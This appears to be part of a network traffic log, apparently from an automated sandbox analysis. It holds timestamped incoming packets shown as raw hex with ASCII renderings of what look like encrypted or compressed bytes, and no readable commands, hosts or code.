2022-01-14 03:59:52 UTC	5134	IN	Data Raw: 01 f5 c4 2f a9 0b 7d 62 13 c7 9b ae 22 f1 c4 aa fe c7 39 cb 3d 81 f2 54 60 a5 5a 85 cd 6c 20 7c 51 0c 08 95 02 1d fd 63 f5 e1 1f bf e7 d9 56 42 49 8b 64 d8 5b c2 52 43 dc 58 95 e1 12 7d 88 9c d1 37 9f 8b 66 bf c7 5c 65 5d 8e 78 47 bf 31 d9 55 46 b8 13 80 24 71 c8 95 e9 4b 5c 39 7b 18 3b 32 82 cd 90 a7 71 bc 22 de 86 1d 0d 78 74 ba 4e 8b 1b a2 36 82 58 d2 60 0c 86 7b 4e f5 73 d4 a9 99 28 9d 42 3a 35 a0 45 b5 0e 50 ac 46 8e 37 70 94 af f9 0d ba 70 5d 39 08 a3 a0 2d 71 ff 2c a7 23 04 56 80 ee 7d 90 c1 ab b6 1c c9 6a 64 b1 14 91 d4 fe 17 f9 e3 b2 c5 10 50 bc 2e 47 40 21 f7 19 3d ed fe d8 59 ae f0 ab e8 ab c9 ec ae e1 29 f8 4a 9a 18 87 b7 9b f1 d5 36 65 4b 4e e3 41 f6 5d 79 51 bc 6e 9e a1 ce f8 d8 0b 77 4b a3 bc 3e 18 71 be 34 63 5a eb db 74 43 6b 78 21 dc 97 Data Ascii: /}b"9=T`Zl \|QcVBId[RCX}7f\e]xG1UF$qK\9{;2q"xtN6X`{Ns(B:5EPF7pp]9-q,#V}jdP.G@!=Y)J6eKNA]yQnwK>q4cZtCkx!
2022-01-14 03:59:52 UTC	5150	IN	Data Raw: 48 0b b6 ed c0 b9 a3 df fa 38 a3 fc ec 4e a7 8d 8d b4 ac b2 b7 be 60 9d a6 64 0a f3 0c 47 dd f5 d5 d2 ea 52 ad 16 d9 c4 65 e2 77 25 a2 65 e7 e5 46 bf 6c 94 e2 4b c8 04 ed cd a4 36 73 81 7f d7 ec b4 5d 04 2d 81 50 a0 b9 af d9 30 66 76 49 37 2e 5e 00 91 57 67 29 48 bb d8 c6 c1 c2 6c 0e 82 6a 92 8b 74 5e 2d a5 c6 56 b9 f9 1e b5 d0 f1 12 97 3c 2b 2a 06 c5 61 12 50 f9 e6 24 3c d2 ec 52 f3 bb 45 66 5b 1e e1 ca 7f a5 df b3 9e 53 5e 8a d3 25 3b ba 0a a0 10 ee ef ad c3 e7 43 6f 90 ca a8 23 4c b1 9f be 21 68 b3 84 32 17 8c 74 6e 82 c9 c9 75 ee 98 28 03 a4 71 01 01 6b bd 0c 65 8f 82 0c 3a 32 b3 33 96 39 1f 07 42 28 ed 00 19 cc 52 44 47 fa e7 ca 68 ab 0c 0e 2c 68 55 d5 c9 b8 75 c0 c3 ef 58 7e 3c c4 17 eb 8e 01 e4 03 97 fb 10 aa cc 7d a0 60 8e de 34 e2 e0 2f be 0f fb Data Ascii: H8N`dGRew%eFlK6s]-P0fvI7.^Wg)Hljt^-V<+*aP$<REf[S^%;Co#L!h2tnu(qke:239B(RDGh,hUuX~<}`4/
2022-01-14 03:59:52 UTC	5166	IN	Data Raw: 2f 63 0e c0 2d 6d 23 60 1f 42 12 a0 70 22 3e 6a 6e e5 d5 e9 40 97 d8 47 07 05 80 69 d4 94 46 1a 34 88 9e 24 86 ee e8 7a 06 06 37 8e 34 da 15 98 57 f8 54 dc 8a a1 da b9 c7 f2 29 b1 9d 1f 1b 0e dd 5a 69 f2 d1 0c 95 f0 4c 41 39 ce f0 a9 ba ed f9 ed db 24 c1 d0 b0 21 2b 8c 80 bb a0 21 b6 19 e7 4d 2a 2f 84 be f9 f3 54 b4 f6 b7 11 82 26 40 c8 70 fc 78 c2 27 96 dd 2f 84 39 9d 27 ad 45 f9 d9 44 95 c6 1e eb 39 69 ec 1a 4c 54 7c 2f b9 3c e8 99 2c f5 b1 35 78 f9 2f e4 df 1d 0f ab 1e 22 95 9a 9d 43 f4 4d d3 5b b9 f6 f8 f9 6b 8a f9 04 39 45 4a f1 5a 3b c3 96 16 d9 fd bd a1 e8 8b 98 c0 ad 60 be 54 94 e7 f7 f4 da cc 4c a5 f3 40 da 95 32 2b 83 9f 24 68 cf 0d 53 62 6e 55 a6 6b bd b8 38 23 a3 6e 82 c8 f7 2d 3c e7 8c ac ae a8 e5 46 bb 23 a3 ab 9c b3 74 37 51 00 45 f6 95 d1 Data Ascii: /c-m#`Bp">jn@GiF4$z74WT)ZiLA9$!+!M*/T&@px'/9'ED9iLT\|/<,5x/"CM[k9EJZ;`TL@2+$hSbnUk8#n-<F#t7QE
2022-01-14 03:59:52 UTC	5182	IN	Data Raw: 19 cd a6 cd 24 4f 0e 25 23 bd 09 f7 fa e7 20 64 93 03 1c cf dd a5 6c 19 54 33 8a 18 56 90 90 68 40 87 c9 84 87 cc ba 8f aa 77 b3 31 1c d4 7b 1e af 5b 5b e6 9a 3c 32 8d fe 61 e0 a9 a9 00 48 32 ec 39 90 5b 9e 2a 8a 93 9d 83 42 52 de 50 f3 2b 09 1f ef 1a f6 c5 d5 35 f6 dc 7a 62 ab 01 22 95 66 cf de fb c1 a2 d9 b8 f1 2e c0 be 30 82 6a 1a 98 11 fa dd 9c d1 70 2f 06 0a 1d 40 1e 88 3f 07 7d e5 e9 97 5e aa 93 de 43 06 8d 47 73 19 36 84 1c ad ba b9 99 20 95 33 73 af 66 8f ee 53 84 a8 77 43 05 e2 4b 15 11 ec c1 fb b0 25 ce 2e 3f 01 aa c0 d4 42 cd 9b 1c cd 42 39 8b bb 50 5f a5 c7 9a 2e b3 44 db 6f b5 d6 f8 df 47 75 71 5a 43 d7 06 fe d6 39 b4 22 78 69 82 37 60 08 bf 32 b3 10 ce 8f fe 18 1a 6b 72 6a 27 93 a4 9c fc 63 2d bf 0b 63 7a a6 f5 f3 2c 69 14 3f 5c d9 cd 6d 9e Data Ascii: $O%# dlT3Vh@w1{[[<2aH29[*BRP+5zb"f.0jp/@?}^CGs6 3sfSwCK%.?BB9P_.DoGuqZC9"xi7`2krj'c-cz,i?\m
2022-01-14 03:59:52 UTC	5198	IN	Data Raw: 19 80 41 93 fe ef 01 76 4d 0c 0f 07 da 3c b9 8d 40 b2 22 79 3b 43 7b 1f 59 2d cc 4a 7c a7 bc 5b 98 62 6b 21 8c cd a0 89 ad e5 33 ab 97 90 5d 35 b5 3f 2b a9 46 f2 60 46 37 45 b4 45 d6 7e d2 6e c3 bf 58 68 20 f1 04 01 fe 14 fb 4c 1e 07 c9 fc 57 f0 df 38 ed ef 2a c9 7c 47 70 86 ab 35 b8 25 51 05 74 4b e8 9f f6 e1 69 c8 68 cc da aa c0 13 c7 ac 01 9b 23 9a 9b 38 37 4a e2 08 77 00 96 31 52 8d 40 e5 53 44 d1 5c 8e 27 15 b6 fd 1f ec 2d 8d 5e e6 95 7a e8 af a0 fd 26 a4 b3 f0 ed 88 47 be 8e a0 5e 16 d2 37 ba 56 10 44 8c 5f 4f 23 15 e0 a6 bb 6a b2 d6 2f dc 44 59 05 aa 98 43 83 de 92 1c c2 c9 e0 8c fb be f1 10 e8 e7 9e 53 9d 45 7c 15 47 bb 18 d4 e2 3d d7 f3 8f 37 d0 60 27 de c1 57 b2 b6 9b 86 b2 6c ac 6d fa 2a 62 65 3c e5 49 2c 48 47 ed 9c 41 c7 68 68 26 f1 6d 6d a6 Data Ascii: AvM<@"y;C{Y-J\|[bk!3]5?+F`F7EE~nXh LW8\|Gp5%QtKih#87Jw1R@SD\'-^z&G^7VD_O#j/DYCSE\|G=7`'Wlmbe<I,HGAhh&mm
2022-01-14 03:59:52 UTC	5214	IN	Data Raw: 64 41 f5 ff b3 01 bd f8 7e 9f 68 2e 78 b9 fa 54 d8 7c ca cf 72 aa 86 80 32 03 b1 4d 67 02 f5 da cb f9 c3 2d 69 75 13 d1 d4 34 8e 8a f2 27 37 79 8a e0 c1 e2 c4 7d 33 7d 78 d2 5a 33 b4 de f4 94 e0 e7 f5 83 22 26 48 20 04 9d 9c a2 70 63 39 33 99 39 0c c3 a3 ba 27 7f 04 8d d7 07 8d 3f 7b 83 1f 8c 2d f5 f4 36 54 19 b3 95 ed 22 08 7a 67 9d 62 5e a0 20 b4 cd 7d 18 e6 c7 12 76 3f f6 2d 57 68 b2 d4 7f d0 01 06 c0 a4 86 3b 59 08 9f 32 f1 3b b2 4f 6a 8b f7 71 42 9a bd b0 86 cb a1 3c f2 de bc 85 72 06 35 94 2e b4 81 43 da 31 21 d1 d6 6e 00 a2 58 68 c4 be bc 44 6d 38 1d 86 d5 61 65 3d 28 b8 73 d7 76 36 03 36 ba aa be 91 18 15 f6 7a 9c f5 53 47 18 d1 a3 41 cc 2c 8f d1 76 51 44 ec 66 2e 38 fe f7 bc 71 b6 0c 46 7d 5c f5 d0 12 8b 52 5c 18 cb 1b 44 fe 07 86 58 d1 6c 45 6e Data Ascii: dA~h.xT\|r2Mg-iu4'7y}3}xZ3"&H pc939'?{-6T"zgb^ }v?-Wh;Y2;OjqB<r5.C1!nXhDm8ae=(sv66zSGA,vQDf.8qF}\R\DXlEn
2022-01-14 03:59:52 UTC	5230	IN	Data Raw: a8 48 7d 32 b8 3c fd ec 88 36 66 31 eb 08 7d 07 8d 7c aa 3b 70 0a 11 3c 37 f3 a0 c6 c9 1e df a1 5b 30 26 2c 76 b0 28 7b 78 3a 4f f1 fb 85 65 ed 0e 09 1d c2 01 dd 0b a7 33 27 5c ee e6 bd 98 40 5a 5b 4a 6a 8a 55 b4 7f 04 7b 44 d9 0d 80 57 b4 f3 7a dd 50 fe b5 fd 4b 10 92 d4 05 7a 03 ad 09 7b 99 c0 d9 b8 99 64 b3 88 cb 1e 02 19 d2 f4 10 88 40 93 b9 fb ab e1 50 4f bd 83 cb d8 68 43 31 3b f6 65 00 78 73 47 ae 7c 24 aa fe 7a 31 b5 bf 3b 73 95 ae 85 21 1c 56 4d fb 9b 26 1f 01 78 bc 41 e2 be e3 a5 61 b2 d8 f7 d1 ab 23 bc af 9a 9e 91 c1 91 c8 8f 22 c6 51 6e 17 9c de 04 e8 75 92 01 f4 9f 71 e3 69 9b 43 3e eb fa 8f b0 26 58 96 ac f6 7c 91 aa 88 31 5e 8d cb 64 65 b0 b5 ce b4 b2 ae 99 f1 93 c7 06 62 97 c7 71 c7 fc 53 0d 2f 9b d8 24 81 9a 21 8d 5d 8b 4d 58 ad 41 ea cc Data Ascii: H}2<6f1}\|;p<7[0&,v({x:Oe3'\@Z[JjU{DWzPKz{d@POhC1;exsG\|$z1;s!VM&xAa#"QnuqiC>&X\|1^debqS/$!]MXA
2022-01-14 03:59:52 UTC	5246	IN	Data Raw: 60 69 7a d8 cd 0d bb 8a 6b 35 a8 70 86 7f b9 af d9 20 de f6 0b 55 be dd 60 c4 45 5f 05 10 fb d3 30 b6 3e 79 9a 63 3e 1e d2 3b d3 f7 8e ae d9 d5 05 39 d4 4c 13 89 16 84 bc 8e 86 d6 26 dd 43 70 0b d8 bd 13 11 5e ef 56 1c 47 bc d7 dd 8a e1 0b de 8b 2d d6 35 c0 ad 8e d5 6d 67 1d 49 24 a7 6b 42 71 32 fd bd 57 0c 03 42 50 df 60 45 65 72 ff 7b c7 35 ec 16 59 a8 23 f7 42 da 54 62 af 58 d2 50 98 92 8c a9 72 86 e4 fa 7b 16 81 33 d4 2c 43 ef 4b c4 bd 70 3e 07 0d 76 dd 41 03 4f ab 69 c0 ed a9 47 9c 11 05 a4 f2 f3 86 1c de 7a d3 50 7b f7 41 94 dc 60 66 b2 04 fa 3f e4 b0 9f 90 07 92 0c 1c 22 e3 c4 f4 98 81 cb 61 6a e6 4c ab 8c 69 b0 a9 a2 02 d9 30 99 5d a9 85 6e fa be fc 2f a9 a9 6e a8 44 fd b2 02 b9 11 36 0b 4f 37 f3 2c 4e ca f6 18 5b 45 32 9a dd e9 bb 2d d8 53 f6 ce Data Ascii: `izk5p U`E_0>yc>;9L&Cp^VG-5mgI$kBq2WBP`Eer{5Y#BTbXPr{3,CKp>vAOiGzP{A`f?"ajLi0]n/nD6O7,N[E2-S
2022-01-14 03:59:52 UTC	5262	IN	Data Raw: 23 05 6f d2 41 c6 04 f7 36 c9 4a 2d 0d 05 38 ac c5 ed fa 49 85 9d 35 c3 51 91 20 78 5d 08 62 a0 b1 cb f1 1a d0 06 b7 74 9b 63 cb 39 ab c7 f2 de fa 17 c0 77 df ca 24 c7 12 e0 01 5e c8 66 e3 ea ea 75 cd 4a 38 b0 87 1f b9 e7 98 b4 d6 da bd fa ab e5 f3 c9 3e 36 0c 82 a0 66 70 de 10 90 6f ad 80 6e 06 10 ed 6f 33 b0 16 cd 0e 05 93 c9 98 9f 67 8e 34 bd 2b 1f ec 39 5a 7e 77 10 62 b6 9d 0f 79 43 9c 17 98 c4 76 7a 47 e5 bd ca 1f 37 71 7e f7 93 be 74 cb 4d d2 6c bb ca a7 8e b8 b5 8d 93 fd 4e 95 ae 1a c2 ba d9 e7 0c 31 3e 8f 64 89 89 5f 7c 8e 60 44 65 db 3a 69 10 61 18 e4 ae f6 3e 6e cf 24 5e 25 17 c5 d5 a9 a2 ae d5 b2 00 93 f8 3a 9f 10 63 5e f3 2b 78 1f 1d ed 82 05 f2 47 9c ed 7b 3f 09 05 ad cc c2 5a da 02 ed ff 6b d0 83 ca 86 b0 a7 ee c5 6c 55 55 c7 35 3d 5b be 92 Data Ascii: #oA6J-8I5Q x]btc9w$^fuJ8>6fpono3g4+9Z~wbyCvzG7q~tMlN1>d_\|`De:ia>n$^%:c^+xG{?ZklUU5=[
2022-01-14 03:59:52 UTC	5278	IN	Data Raw: 9e 5c 69 97 4a a9 3c 43 43 95 bd f3 6f b7 2f 1f 74 2e 9d c8 4a 25 84 9e df b6 bf 08 80 bc 6f 68 a9 b9 72 6e 22 d0 8f a9 84 f1 20 3d 40 e4 b6 54 f2 e1 1f 91 30 df e4 d1 e3 90 88 c9 bc 37 ea 3f 8b 68 ca 95 af 19 fc 5c 5e 54 99 45 36 8c 6a 54 62 27 d6 92 2d 7c 1e 1a 4b 74 b1 fa eb f4 23 1d 06 3f ee 37 46 6b f4 86 77 b7 cb ad cf fe 44 5c 90 14 8f 0d 23 43 57 60 8a 40 7f 4c 6b 97 d3 48 32 0a b9 f8 6e 89 e2 73 f7 ee e8 a9 3d 8a 4b da f7 4f 99 48 53 0a e3 6d d5 c2 f7 ce 38 80 5b df aa a4 89 68 9d 06 2c 33 9d 23 50 7e fa 57 54 da ab bd 37 44 ec ba 86 b0 d4 27 07 b4 ae 4f eb b2 31 53 51 66 5c 39 30 26 82 4d 7c b8 ea 1f 14 d3 32 2e f8 fc 52 a1 44 6d c9 14 ab 4d 10 28 b7 b2 21 b5 3c f8 e9 2a 1c 7c e4 a4 cc 8d 0d 00 85 2b 66 87 a0 14 42 a2 4d 4a 78 07 e6 9a ee 42 3e Data Ascii: \iJ<CCo/t.J%ohrn" =@T07?h\^TE6jTb'-\|Kt#?7FkwD\#CW`@LkH2ns=KOHSm8[h,3#P~WT7D'O1SQf\90&M\|2.RDmM(!<*\|+fBMJxB>
2022-01-14 03:59:52 UTC	5294	IN	Data Raw: 0c da e4 ba 6f 34 82 61 a5 58 fd 9b bf 6a 26 ec ff 5a f2 18 61 8c a7 5f 49 bd 70 95 ce 91 9d 85 df ea 56 d3 00 4e 3c 59 33 bb 15 3b f4 91 53 d3 e1 90 8a ba 50 f0 b7 4e d0 ff 8c 5b 4d 38 63 53 a9 0e 6c 5a cc 4f c5 bb 0b 39 4d 17 4c 38 ba 61 bd 48 bf 72 d2 5d 68 b1 09 3c 5a 71 3c 4e 9a 4d 5e e1 86 cf 12 5b 03 a6 41 e1 0e de 9c 2f 7e 89 3c 58 be 67 85 9c 2d 48 1f 31 98 0d 00 df 83 6c e6 1f 6c c9 ee 88 f3 b9 d7 a0 40 62 b2 79 b5 5c 51 bf cc 75 56 2d aa fa 5d ce 2c d7 b6 b4 54 31 85 3b 96 e7 33 93 d3 df 69 fe 30 5e f6 d8 98 31 79 78 f6 fe 30 40 9e 05 c3 a6 fc fd 2a 2c 35 80 a2 53 19 b5 39 34 9c 98 fb 23 58 5e ae f3 c9 11 96 da bd 2f b2 17 ce 46 ac a8 54 bc 11 38 cb a8 59 6e 97 85 d3 e2 9d 3b d0 d0 24 3f 5d 18 d7 9c 3e 41 15 dc 82 b7 31 b4 47 d1 f9 3e a7 a0 a1 Data Ascii: o4aXj&Za_IpVN<Y3;SPN[M8cSlZO9ML8aHr]h<Zq<NM^[A/~<Xg-H1ll@by\QuV-],T1;3i0^1yx0@*,5S94#X^/FT8Yn;$?]>A1G>
2022-01-14 03:59:52 UTC	5310	IN	Data Raw: 8b 2d 07 af ad ca 6a 56 e8 de 24 62 78 75 3e 76 fa 77 8e 29 58 0d 78 1c 94 8d 1f 02 4f e2 d2 c4 16 20 4e 9f 89 44 85 f2 3b 23 f6 3c 29 a5 db b4 e7 95 91 dc 66 50 47 c2 bc d7 0f aa 4c 1f 97 cb 71 bf 21 b1 00 f5 44 a6 b8 e5 65 a7 23 ec e2 26 8f c0 e6 cb 08 9f c8 a6 5d 3f 25 ce 05 47 57 2b 2f 24 6e 9a 8f 14 2d df 1d 72 d8 71 95 94 44 e4 c5 db 85 07 b8 1f 53 87 6c 8c 95 d5 24 17 32 78 1e fd be 58 1e af aa 8f 95 c7 92 49 4f a0 b3 9d 5f 4f 63 d3 6f 23 8e 94 44 23 62 1b 67 7b 6c 0a f9 99 b1 84 7b 41 97 cc 39 6d 49 c1 45 5b 32 aa b5 3c e5 8f 0d ed 13 90 95 c2 07 96 30 f3 22 0b c6 92 56 17 6b c6 ed d3 27 e2 53 46 90 8a fc 6a e6 11 8f b4 b2 83 9d 33 49 a5 6c ee e1 f6 15 be 5b 0a 75 77 58 48 09 89 7c a8 57 60 fe bd d1 5c 90 9a 6b fa 79 89 60 e9 67 70 41 36 0b 88 86 Data Ascii: -jV$bxu>vw)XxO ND;#<)fPGLq!De#&]?%GW+/$n-rqDSl$2xXIO_Oco#D#bg{l{A9mIE[2<0"Vk'SFj3Il[uwXH\|W`\ky`gpA6
2022-01-14 03:59:52 UTC	5326	IN	Data Raw: 7c 28 25 7b 89 64 8e 7b d0 bb 74 b8 0b 41 8a 03 e1 da 51 aa 83 37 40 f9 b5 5f e2 da fa d3 71 5f 2f d8 cb 30 1e 3a c8 b2 76 05 ff e8 c5 32 81 b0 58 e7 10 e1 d8 87 d0 1b 11 80 ec 23 b5 34 49 90 e1 72 7d 8b e2 e0 47 3a 90 67 c5 fd 63 2d 44 01 d3 ff 03 84 42 4d e1 d4 3a 87 66 bd 60 ed 1c 10 f7 f8 b9 80 a1 c2 33 f3 0b 79 19 a2 8d c1 95 68 00 9a e6 5e ee 92 a5 2b 97 9d 93 b3 7f 08 92 f8 68 09 14 44 7a 72 1e 31 38 e5 ad 1b 29 f4 a5 e1 29 d3 eb 87 81 e8 c8 42 3b 06 d8 ab ed 78 3a 11 97 27 22 d0 64 26 a7 dc 72 c4 33 35 5d 66 16 be 50 34 d0 46 30 cb a5 1f d0 e7 ab 93 1f 81 31 7e 91 af 80 21 35 18 05 fa d2 56 47 b3 48 79 9b 16 76 6d 56 1e f9 db 13 9c e9 0d 1e bc 6e 98 4b 07 84 cc 00 3c 25 e8 ed b3 07 0f 7c 5a ac 49 cc aa 82 95 36 fb 25 d9 c8 98 3c ca e9 5e 10 64 9c Data Ascii: \|(%{d{tAQ7@_q_/0:v2X#4Ir}G:gc-DBM:f`3yh^+hDzr18))B;x:'"d&r35]fP4F01~!5VGHyvmVnK<%\|ZI6%<^d
2022-01-14 03:59:52 UTC	5342	IN	Data Raw: 86 79 c3 42 e9 34 db 28 77 e8 35 c6 5f 90 5d 28 cb 6f 91 c9 0c 7a 62 98 db 67 9a b0 4a 92 9c 80 0f 1f 93 b6 04 ab 3d 84 00 97 2f c0 34 b7 5b 53 50 e3 b9 67 17 50 9f e1 4e 6c 31 6a 95 59 fd c7 6d bc 68 97 48 0a 5a d8 57 cb 85 5e 90 b2 30 46 4c 48 2d ac a7 92 ee 9f 9c a3 59 e4 6c 96 cd 37 16 b3 d1 dc 1f 57 7c 63 64 df c1 19 87 ae 82 4e af 8f 6e 57 21 c1 ad ac db 1b e2 69 eb 77 37 6a 5e 9f ab 12 be bb 54 c7 66 a0 51 8c bf e6 17 04 8a 2d 29 ad 4e b6 48 a3 40 9f 53 fd f7 5a c3 cd 99 80 df fa 95 7b ea 0f 64 bb 35 18 c1 da 0e e6 f5 71 5e 93 61 49 3d 21 9d c4 60 19 11 51 02 ea 12 68 c1 f0 9e 18 bb 22 c8 5e a2 48 3f e9 bd f1 66 75 c3 88 76 03 ed 81 70 81 70 38 71 86 01 83 c6 d2 77 c9 c1 a7 0e 69 f3 19 78 d8 fb 69 bc 8e bd 1c ca e0 76 69 e7 3c 07 bc 71 78 24 6b f5 Data Ascii: yB4(w5_](ozbgJ=/4[SPgPNl1jYmhHZW^0FLH-Yl7W\|cdNnW!iw7j^TfQ-)NH@SZ{d5q^aI=!`Qh"^H?fuvpp8qwixivi<qx$k
2022-01-14 03:59:52 UTC	5358	IN	Data Raw: e6 98 a2 84 83 18 bc 5b fe f1 3b 76 3a f4 df 08 e0 86 41 71 d7 1d 70 22 33 c3 85 5e c4 c3 1d 16 78 4f 0d 05 1c 18 94 95 1a 76 8a 73 b1 b3 e4 e1 0f de a3 45 12 7a a2 9a 02 d7 a5 97 de d6 a9 8d 34 7d a9 c1 ae 44 75 9f 97 1c b5 a0 82 41 cf ed cd 9f ea 4b 83 a3 1b 75 0f f4 e0 9e 46 12 04 3e 73 d9 92 cb 88 e2 f7 49 ee 63 1a 0e ab d5 26 04 bf 66 49 7a 3f 70 b5 11 87 fd 8b 57 77 7e 1e 29 c6 a9 a4 ec 20 e3 99 9b 01 9a e8 43 2b 1c 06 2b f9 57 a5 b5 4b 63 3e 7b b5 7c cc fe 2f 33 09 41 b5 52 ce bd d7 40 26 c6 34 ed d7 93 95 43 25 98 96 71 ec 7d bc ea 0d ee c6 15 4c 0a e6 ba 70 5e 38 99 1c 16 87 3e 70 3f d6 75 da e2 63 00 39 b1 4c 24 de c3 40 aa 14 e5 b4 2b ff 2d 6e da ec 1d b6 e1 13 01 fa 47 38 a5 46 ed 11 23 64 3e 44 f1 86 a7 42 6f 85 aa fe 3f e6 08 77 72 e1 0d 3d Data Ascii: [;v:Aqp"3^xOvsEz4}DuAKuF>sIc&fIz?pWw~) C++WKc>{\|/3AR@&4C%q}Lp^8>p?uc9L$@+-nG8F#d>DBo?wr=
2022-01-14 03:59:52 UTC	5374	IN	Data Raw: cd 61 fc d2 a1 21 96 c2 12 77 3c bb 12 eb 90 4a ae fe 2c 20 1f 6b 4f 56 1c 77 20 c5 ef 53 84 b5 49 ab 53 0d 00 9b 96 f3 34 38 c0 c1 6c 49 91 7f c2 8e b7 f3 e6 29 9f 58 7c 44 9f c0 e3 3e e6 46 6a 86 3a 85 ca 06 d1 a6 db 4c 99 5e cd f5 a3 4d 96 dc ac 09 29 1e 69 c3 d8 eb 74 f4 04 54 33 b9 82 db 54 57 0d 09 b0 67 7d f2 21 8d 05 df 5d 66 56 b4 e2 80 50 ed 4f e6 5d 5c 96 ee 2d 4d 68 3a 94 a4 9a 9d 7e e4 23 b5 dd 1c 02 b4 7c 23 0d fd 4e 46 d8 90 b6 43 8b 30 29 16 2f cd fc d3 8e e0 32 f6 1c 53 f3 0f c5 7c d0 74 d7 45 af 80 9e 6c 75 44 31 1f 82 e4 dd 34 c3 11 1b dd ac 95 cd dc c7 d7 a9 93 30 dd a7 db c7 02 9d 2d fa b2 83 15 36 e4 b2 6e 9f 51 f7 12 fe c1 ea 92 1f b5 89 ba 91 b9 bc 9d b1 ac b1 8d 70 66 ff 1d a5 e1 3d c8 1c 9f 89 6c 05 98 53 38 75 2f 30 9c 2b bd 60 Data Ascii: a!w<J, kOVw SIS48lI)X\|D>Fj:L^M)itT3TWg}!]fVPO]\-Mh:~#\|#NFC0)/2S\|tEluD140-6nQpf=lS8u/0+`
2022-01-14 03:59:52 UTC	5390	IN	Data Raw: a0 74 79 c3 b6 37 7c b4 79 a8 22 c8 98 f1 76 3e a4 b2 d3 22 60 89 62 a7 4f 46 78 41 c4 c5 e1 40 2e c8 00 ae 4b 7d 10 58 f3 57 ea 2a bb 38 e9 27 af f4 4a e7 36 1d 21 57 ac 8b dc 9f 6d 41 d6 eb ef b8 23 c6 27 c8 10 66 c1 62 b4 93 8a 4f 9c 11 e0 54 96 1a 76 f6 3d 06 91 c1 70 cc be 5d db e2 57 c8 a1 ec ff 99 ef 6a a1 28 3a 5c f0 ad 93 e0 30 52 de 5b 2f c2 07 bf eb 78 b3 8d 4f 77 d4 1b 57 7d c0 a7 ee fd 28 c1 33 b5 d3 a5 88 1c 17 5c c1 c8 fc 4e 36 f4 68 b8 0b 86 40 36 4b 24 da 82 ce 6a cc 88 be 0f 1b 91 23 9a 73 cb c4 ec fc 59 13 4f 86 23 13 bb a1 82 15 db 3d cc 9a 79 9a 87 21 46 40 90 e7 1f ea 19 28 16 fd b3 ec 21 a8 1d 2f 08 ad 7e d5 c2 c1 06 68 a1 fb 5b 67 d3 2b 0a 29 a9 0d 92 e5 4c 16 8d 08 ed 93 7f 74 59 aa 28 fe 9b e2 dc d4 c2 98 97 19 4b 75 d6 39 9e d4 Data Ascii: ty7\|y"v>"`bOFxA@.K}XW*8'J6!WmA#'fbOTv=p]Wj(:\0R[/xOwW}(3\N6h@6K$j#sYO#=y!F@(!/~h[g+)LtY(Ku9
2022-01-14 03:59:52 UTC	5406	IN	Data Raw: d7 c7 51 62 e7 a0 5f ea a5 84 54 f0 4c 23 71 e5 25 dd 15 f9 f9 a8 42 ee e9 89 eb 79 d0 51 fb 25 a4 69 96 c7 c5 52 b7 0c 94 75 b8 7c 4e 1a 60 b0 2e 33 4e fe 50 bf f5 95 ca 52 c1 db ee f7 54 bb 37 b2 ce 73 df 65 ac ba e6 54 5d 7d 50 06 30 75 aa 85 70 d5 ae 5b 16 4e 0e e6 61 16 95 a9 c4 8c 61 cd 28 19 a7 d1 0b f8 53 a0 18 ea bd af 0a f0 f5 a2 04 33 1e 44 9e a8 d4 11 fc 21 bd 1a c8 1d 6b 3b ec cf 42 a0 4e e2 bb 1e ba 70 55 5f 2c 16 b7 80 26 9c 0e bb d5 4c 64 72 b5 15 9b 66 44 91 8c f5 fc ae 03 2c 90 0c ba 11 5e 00 d1 e1 6e f8 20 ce 79 a5 2a 9b 45 5c 44 87 14 e1 e1 6c d3 9d 40 f4 41 df b2 04 8f 1a 74 73 8b 18 f4 43 43 71 48 96 f9 cd 5e b5 ba 8f c7 c0 aa 0c d6 64 bc 7b 8e 03 04 80 10 4f 09 ba 8e 7a 52 1c 74 83 39 a3 2c b2 e8 14 b4 e1 23 7c 4e e1 2b 6a 37 b8 1f Data Ascii: Qb_TL#q%ByQ%iRu\|N`.3NPRT7seT]}P0up[Naa(S3D!k;BNpU_,&LdrfD,^n y*E\Dl@AtsCCqH^d{OzRt9,#\|N+j7
2022-01-14 03:59:52 UTC	5422	IN	Data Raw: 2b d7 de a2 7c 40 76 84 94 af 93 8c c7 0e 70 ff 4d ae f0 57 01 4d 58 e2 a3 2e 67 9b bc 81 04 cd 08 04 af ec 4c 01 bb 57 aa 41 b8 e4 76 93 e4 87 18 7d bf 5e f1 a0 a6 db 92 7b 16 33 08 0f 84 01 47 02 c2 b8 74 b0 a3 33 4b e4 2e 73 34 ab de f3 d4 80 6f 75 a2 35 2a e5 41 fc 18 21 27 d6 ef cd 62 46 d5 46 6d 06 6e dc b8 00 30 a6 02 e2 16 9e 7e 74 66 bb eb e3 1e 2c 4f 11 8f a8 8e e0 c9 25 24 08 45 dd 23 a0 86 5b 84 27 ba 15 9d 3f 16 ba 1f 9d 70 24 da c9 8a 78 11 99 10 ef 86 fd a0 02 cb da 09 12 d7 0e e3 e5 2e 1b 1a f2 a5 7a 7d 10 a9 5e aa c7 93 0a 81 d7 a3 ff 7d d4 5f 2d 21 46 e7 de 76 7a 13 17 7f db 15 45 44 18 80 e1 f9 95 cb 5a 90 a3 cc b1 15 ae 87 48 b7 be 08 8b 7e 8e 56 e4 bf ff 36 e7 b7 a5 fb a7 38 62 81 da dc 71 cb c5 1a fc c2 d2 36 94 08 15 88 7d 99 69 3b Data Ascii: +\|@vpMWMX.gLWAv}^{3Gt3K.s4ou5*A!'bFFmn0~tf,O%$E#['?p$x.z}^}_-!FvzEDZH~V68bq6}i;
2022-01-14 03:59:52 UTC	5438	IN	Data Raw: ea 72 f8 f4 bf cc d3 ae 7f 74 6b e5 49 3f 88 23 29 73 33 c9 f7 f7 09 d4 f8 3a 50 17 a0 5d 84 16 f4 e6 39 02 46 b5 cf 3b 53 ab 81 5b 39 e3 e2 30 c7 96 b8 15 26 7a 53 55 56 ff 38 4e 1b 58 3a ba 4a 61 d1 bc 08 f3 2b b4 e8 18 0d 54 68 f3 2c 6e 5a aa 78 61 0e c0 ad 5f 86 a1 4e 80 58 7a f1 74 2a 8c 1a f4 3b bc 6a 5a de c2 85 5a 63 a5 19 83 9f df 27 e5 7e 89 bf fa 11 1c 39 99 e0 79 05 78 0b c3 7c 83 a9 7e d8 a3 f5 c5 a3 a0 69 17 30 2d e7 9b ed ee a5 89 7e 91 78 72 58 43 7f 3b c1 e6 42 8e 54 37 32 c7 e4 94 b1 5f 0a 04 a6 48 8e 11 68 63 ad 2a 8a 13 85 a3 7a db e5 da e8 72 6d bd 05 a2 e7 12 61 63 25 98 bb 6c 9b 8f 9b 4d d2 ec 62 b0 67 a3 30 17 f6 ae e7 90 d6 a5 9b 17 ab c7 44 55 e4 dd 4c 18 b1 37 02 df ee af db 3b 10 dc bb 10 06 8e 68 1f cf 15 f7 4c 16 bf 